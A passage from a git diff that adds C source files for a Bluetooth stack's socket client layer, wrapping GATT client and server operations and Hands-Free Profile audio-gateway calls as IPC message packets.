bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_rssi.handle = PTR2INT(uint64_t) gattc_remote->cookie; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ_RSSI); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} diff --git a/framework/socket/bt_gatts.c b/framework/socket/bt_gatts.c new file mode 100644 index 0000000000000000000000000000000000000000..158cb77667c7d9e3053436c3ff9b17eaae11bd7d --- /dev/null +++ b/framework/socket/bt_gatts.c @@ -0,0 +1,400 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gatts" + +#include <stdint.h> + +#include "bt_gatts.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "gatts_service.h" +#include "service_manager.h" +#include "utils/log.h" + +#define CHECK_NULL_PTR(ptr) \ + do { \ + if (!ptr) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +static bt_gatts_remote_t* gatts_remote_new(bt_instance_t* ins, gatts_callbacks_t* callbacks) +{ + bt_gatts_remote_t* remote = malloc(sizeof(bt_gatts_remote_t)); + if (!remote) + return NULL; + + remote->db_list = bt_list_new(NULL); + if (!remote->db_list) { + free(remote); + return NULL; + } + + remote->ins = ins; + remote->callbacks = callbacks; + remote->cookie = 0; + + return remote; +} + +static void gatts_remote_destroy(bt_gatts_remote_t* remote) +{ + if (!remote) + return; + + bt_list_free(remote->db_list); + free(remote); +} + +bt_status_t bt_gatts_register_service(bt_instance_t* ins, gatts_handle_t* phandle, gatts_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + CHECK_NULL_PTR(phandle); + + if (ins->gatts_remote_list == NULL) { + ins->gatts_remote_list = bt_list_new((bt_list_free_cb_t)gatts_remote_destroy); + if (ins->gatts_remote_list == NULL) { + return BT_STATUS_NOMEM; + } + } + + gatts_remote = gatts_remote_new(ins, callbacks); + if (!gatts_remote) { + status = BT_STATUS_NOMEM; + goto fail; + } + + packet.gatts_pl._bt_gatts_register.cookie = PTR2INT(uint64_t) gatts_remote; + status = bt_socket_client_sendrecv(ins, &packet, BT_GATT_SERVER_REGISTER_SERVICE); + if (status != BT_STATUS_SUCCESS) { + goto fail; + } + if (packet.gatts_r.status != BT_STATUS_SUCCESS) { + status = packet.gatts_r.status; + goto fail; + } + + gatts_remote->cookie = packet.gatts_r.handle; + gatts_remote->user_phandle = phandle; + bt_list_add_tail(ins->gatts_remote_list, gatts_remote); + + *phandle = gatts_remote; + return BT_STATUS_SUCCESS; + +fail: + if (gatts_remote) { + gatts_remote_destroy(gatts_remote); + } + if (!bt_list_length(ins->gatts_remote_list)) { + bt_list_free(ins->gatts_remote_list); + ins->gatts_remote_list = NULL; + } + return status; +} + +bt_status_t bt_gatts_unregister_service(gatts_handle_t srv_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_instance_t* ins; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + void** user_phandle; + + CHECK_NULL_PTR(gatts_remote); + + ins = gatts_remote->ins; + packet.gatts_pl._bt_gatts_unregister.handle = PTR2INT(uint64_t) gatts_remote->cookie; + status = bt_socket_client_sendrecv(ins, &packet, BT_GATT_SERVER_UNREGISTER_SERVICE); + user_phandle = gatts_remote->user_phandle; + bt_list_remove(ins->gatts_remote_list, gatts_remote); + *user_phandle = NULL; + + if (!bt_list_length(ins->gatts_remote_list)) { + bt_list_free(ins->gatts_remote_list); + ins->gatts_remote_list = NULL; + } + + if (status != BT_STATUS_SUCCESS) { + return status; + } + if (packet.gatts_r.status != BT_STATUS_SUCCESS) { + return packet.gatts_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_gatts_connect(gatts_handle_t srv_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_connect.handle = PTR2INT(uint64_t) gatts_remote->cookie; + packet.gatts_pl._bt_gatts_connect.addr_type = addr_type; + memcpy(&packet.gatts_pl._bt_gatts_connect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_disconnect(gatts_handle_t srv_handle, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_disconnect.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_disconnect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_add_attr_table(gatts_handle_t srv_handle, gatt_srv_db_t* srv_db) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + uint8_t* raw_data = (uint8_t*)packet.gatts_pl._bt_gatts_add_attr_table.attr_db; + uint32_t data_length = sizeof(packet.gatts_pl._bt_gatts_add_attr_table.attr_db[0]) * srv_db->attr_num; + gatt_attr_db_t* attr_inst = srv_db->attr_db; + + CHECK_NULL_PTR(gatts_remote); + if (data_length > sizeof(packet.gatts_pl._bt_gatts_add_attr_table.attr_db)) + return BT_STATUS_PARM_INVALID; + + raw_data += data_length; + for (int i = 0; i < srv_db->attr_num; i++, attr_inst++) { + memcpy(&packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].uuid, &attr_inst->uuid, + sizeof(packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].uuid)); + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].handle = attr_inst->handle; + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].type = attr_inst->type; + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].rsp_type = attr_inst->rsp_type; + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].properties = attr_inst->properties; + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].permissions = attr_inst->permissions; + packet.gatts_pl._bt_gatts_add_attr_table.attr_db[i].attr_length = attr_inst->attr_length; + + if (attr_inst->rsp_type == ATTR_AUTO_RSP && attr_inst->attr_length) { + data_length += attr_inst->attr_length; + if (data_length > sizeof(packet.gatts_pl._bt_gatts_add_attr_table.attr_db)) + return BT_STATUS_PARM_INVALID; + + memcpy(raw_data, attr_inst->attr_value, attr_inst->attr_length); + raw_data += attr_inst->attr_length; + } + } + + packet.gatts_pl._bt_gatts_add_attr_table.handle = PTR2INT(uint64_t) gatts_remote->cookie; + packet.gatts_pl._bt_gatts_add_attr_table.attr_num = srv_db->attr_num; + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_ADD_ATTR_TABLE); + if (status != BT_STATUS_SUCCESS) + return status; + + if (packet.gatts_r.status == BT_STATUS_SUCCESS) { + bt_list_add_tail(gatts_remote->db_list, srv_db); + } + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_remove_attr_table(gatts_handle_t srv_handle, uint16_t attr_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_remove_attr_table.handle = PTR2INT(uint64_t) gatts_remote->cookie; + packet.gatts_pl._bt_gatts_remove_attr_table.attr_handle = attr_handle; + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_REMOVE_ATTR_TABLE); + if (status != BT_STATUS_SUCCESS) + return status; + + if (packet.gatts_r.status == BT_STATUS_SUCCESS) { + bt_list_node_t* node; + bt_list_t* list = gatts_remote->db_list; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + gatt_srv_db_t* srv_db = (gatt_srv_db_t*)bt_list_node(node); + if (srv_db->attr_db->handle == attr_handle) { + bt_list_remove(gatts_remote->db_list, srv_db); + break; + } + } + } + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_set_attr_value(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + if (length > sizeof(packet.gatts_pl._bt_gatts_set_attr_value.value)) + return BT_STATUS_PARM_INVALID; + + packet.gatts_pl._bt_gatts_set_attr_value.handle = PTR2INT(uint64_t) gatts_remote->cookie; + packet.gatts_pl._bt_gatts_set_attr_value.attr_handle = attr_handle; + packet.gatts_pl._bt_gatts_set_attr_value.length = length; + memcpy(packet.gatts_pl._bt_gatts_set_attr_value.value, value, length); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_SET_ATTR_VALUE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_get_attr_value(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t* length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_get_attr_value.handle = PTR2INT(uint64_t) gatts_remote->cookie; + packet.gatts_pl._bt_gatts_get_attr_value.attr_handle = attr_handle; + packet.gatts_pl._bt_gatts_get_attr_value.length = *length; + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_GET_ATTR_VALUE); + if (status != BT_STATUS_SUCCESS) + return status; + + if (packet.gatts_r.status == BT_STATUS_SUCCESS) { + *length = packet.gatts_r.length; + memcpy(value, packet.gatts_r.value, *length); + } + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_response(gatts_handle_t srv_handle, bt_address_t* addr, uint32_t req_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + if (length > sizeof(packet.gatts_pl._bt_gatts_response.value)) + return BT_STATUS_PARM_INVALID; + + packet.gatts_pl._bt_gatts_response.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_response.addr, addr, sizeof(bt_address_t)); + packet.gatts_pl._bt_gatts_response.req_handle = req_handle; + packet.gatts_pl._bt_gatts_response.length = length; + memcpy(packet.gatts_pl._bt_gatts_response.value, value, length); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_RESPONSE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_notify(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + if (length > sizeof(packet.gatts_pl._bt_gatts_notify.value)) + return BT_STATUS_PARM_INVALID; + + packet.gatts_pl._bt_gatts_notify.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_notify.addr, addr, sizeof(bt_address_t)); + packet.gatts_pl._bt_gatts_notify.attr_handle = attr_handle; + packet.gatts_pl._bt_gatts_notify.length = length; + memcpy(packet.gatts_pl._bt_gatts_notify.value, value, length); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_NOTIFY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_indicate(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + if (length > sizeof(packet.gatts_pl._bt_gatts_notify.value)) + return BT_STATUS_PARM_INVALID; + + packet.gatts_pl._bt_gatts_notify.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_notify.addr, addr, sizeof(bt_address_t)); + packet.gatts_pl._bt_gatts_notify.attr_handle = attr_handle; + packet.gatts_pl._bt_gatts_notify.length = length; + memcpy(packet.gatts_pl._bt_gatts_notify.value, value, length); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_INDICATE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_read_phy(gatts_handle_t srv_handle, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_phy.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_phy.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_READ_PHY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} + +bt_status_t bt_gatts_update_phy(gatts_handle_t srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gatts_remote_t* gatts_remote = (bt_gatts_remote_t*)srv_handle; + + CHECK_NULL_PTR(gatts_remote); + + packet.gatts_pl._bt_gatts_phy.handle = PTR2INT(uint64_t) gatts_remote->cookie; + memcpy(&packet.gatts_pl._bt_gatts_phy.addr, addr, sizeof(bt_address_t)); + packet.gatts_pl._bt_gatts_phy.tx_phy = tx_phy; + packet.gatts_pl._bt_gatts_phy.rx_phy = rx_phy; + status = bt_socket_client_sendrecv(gatts_remote->ins, &packet, BT_GATT_SERVER_UPDATE_PHY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gatts_r.status; +} diff --git a/framework/socket/bt_hfp_ag.c b/framework/socket/bt_hfp_ag.c new file mode 100644 index 0000000000000000000000000000000000000000..71fadc30837017855434d483c660d70e3db1f610 --- /dev/null +++ b/framework/socket/bt_hfp_ag.c @@ -0,0 +1,373 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_ag_api" + +#include <stdint.h> + +#include "bt_hfp_ag.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "hfp_ag_service.h" +#include "service_manager.h" +#include "utils/log.h" + +void* bt_hfp_ag_register_callbacks(bt_instance_t* ins, const hfp_ag_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* cookie; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->hfp_ag_callbacks != NULL) { + cookie = bt_remote_callbacks_register(ins->hfp_ag_callbacks, NULL, (void*)callbacks); + return cookie; + } + + ins->hfp_ag_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + cookie = bt_remote_callbacks_register(ins->hfp_ag_callbacks, NULL, (void*)callbacks); + if (cookie == NULL) { + bt_callbacks_list_free(ins->hfp_ag_callbacks); + ins->hfp_ag_callbacks = NULL; + return NULL; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_REGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hfp_ag_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->hfp_ag_callbacks); + ins->hfp_ag_callbacks = NULL; + return NULL; + } + + return cookie; +} + +bool bt_hfp_ag_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->hfp_ag_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->hfp_ag_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->hfp_ag_callbacks) > 0) { + return true; + } + + cbsl = ins->hfp_ag_callbacks; + ins->hfp_ag_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_UNREGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hfp_ag_r.status != BT_STATUS_SUCCESS) + return false; + + return true; +} + +bool bt_hfp_ag_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_is_connected.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_IS_CONNECTED); + if (status != BT_STATUS_SUCCESS) + return false; + + return packet.hfp_ag_r.value_bool; +} + +bool bt_hfp_ag_is_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_is_audio_connected.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_IS_AUDIO_CONNECTED); + if (status != BT_STATUS_SUCCESS) + return false; + + return packet.hfp_ag_r.value_bool; +} + +profile_connection_state_t bt_hfp_ag_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, PROFILE_STATE_DISCONNECTED); + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_get_connection_state.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_GET_CONNECTION_STATE); + if (status != BT_STATUS_SUCCESS) + return PROFILE_STATE_DISCONNECTED; + + return packet.hfp_ag_r.profile_conn_state; +} + +bt_status_t bt_hfp_ag_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_connect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_disconnect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_connect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_connect_audio.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_CONNECT_AUDIO); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_disconnect_audio.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_DISCONNECT_AUDIO); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_start_virtual_call)(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_start_virtual_call.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_START_VIRTUAL_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_stop_virtual_call)(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_stop_virtual_call.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_STOP_VIRTUAL_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_start_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_start_voice_recognition.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_START_VOICE_RECOGNITION); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_stop_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_stop_voice_recognition.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_STOP_VOICE_RECOGNITION); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_phone_state_change(bt_instance_t* ins, bt_address_t* addr, + uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.num_active = num_active; + packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.num_held = num_held; + packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.call_state = call_state; + packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.type = type; + if (number) + strlcpy(packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.number, number, sizeof(packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.number)); + if (name) + strlcpy(packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.name, name, sizeof(packet.hfp_ag_pl._bt_hfp_ag_phone_state_change.name)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_PHONE_STATE_CHANGE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_notify_device_status(bt_instance_t* ins, bt_address_t* addr, + hfp_network_state_t network, hfp_roaming_state_t roam, + uint8_t signal, uint8_t battery) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_notify_device_status.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_pl._bt_hfp_ag_notify_device_status.network = network; + packet.hfp_ag_pl._bt_hfp_ag_notify_device_status.roam = roam; + packet.hfp_ag_pl._bt_hfp_ag_notify_device_status.signal = signal; + packet.hfp_ag_pl._bt_hfp_ag_notify_device_status.battery = battery; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_NOTIFY_DEVICE_STATUS); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_volume_control(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_volume_control.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_pl._bt_hfp_ag_volume_control.type = type; + packet.hfp_ag_pl._bt_hfp_ag_volume_control.volume = volume; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_VOLUME_CONTROL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_send_at_command(bt_instance_t* ins, bt_address_t* addr, const char* at_command) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_send_at_cmd.addr, addr, sizeof(bt_address_t)); + strncpy(packet.hfp_ag_pl._bt_hfp_ag_send_at_cmd.cmd, at_command, HFP_AT_LEN_MAX); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_SEND_AT_COMMAND); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_send_vendor_specific_at_command(bt_instance_t* ins, bt_address_t* addr, const char* command, const char* value) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.addr, addr, sizeof(bt_address_t)); + strlcpy(packet.hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.cmd, command, sizeof(packet.hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.cmd)); + strlcpy(packet.hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.value, value, sizeof(packet.hfp_ag_pl._bt_hfp_ag_send_vendor_specific_at_cmd.value)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_SEND_VENDOR_SPECIFIC_AT_COMMAND); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} + +bt_status_t bt_hfp_ag_send_clcc_response(bt_instance_t* ins, bt_address_t* addr, uint32_t index, + hfp_call_direction_t dir, hfp_ag_call_state_t state, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.addr, addr, sizeof(bt_address_t)); + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.index = index; + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.dir = dir; + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.state = state; + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.mode = mode; + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.mpty = mpty; + packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.type = type; + + if (number) { + strlcpy(packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.number, number, sizeof(packet.hfp_ag_pl._bt_hfp_ag_send_clcc_response.number)); + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_AG_SEND_CLCC_RESPONSE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_ag_r.status; +} \ No newline at end of file diff --git a/framework/socket/bt_hfp_hf.c b/framework/socket/bt_hfp_hf.c new file mode 100644 index 0000000000000000000000000000000000000000..855d9ae228334170dda09c78e7e804bf83ec0489 --- /dev/null +++ b/framework/socket/bt_hfp_hf.c @@ -0,0 +1,487 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, 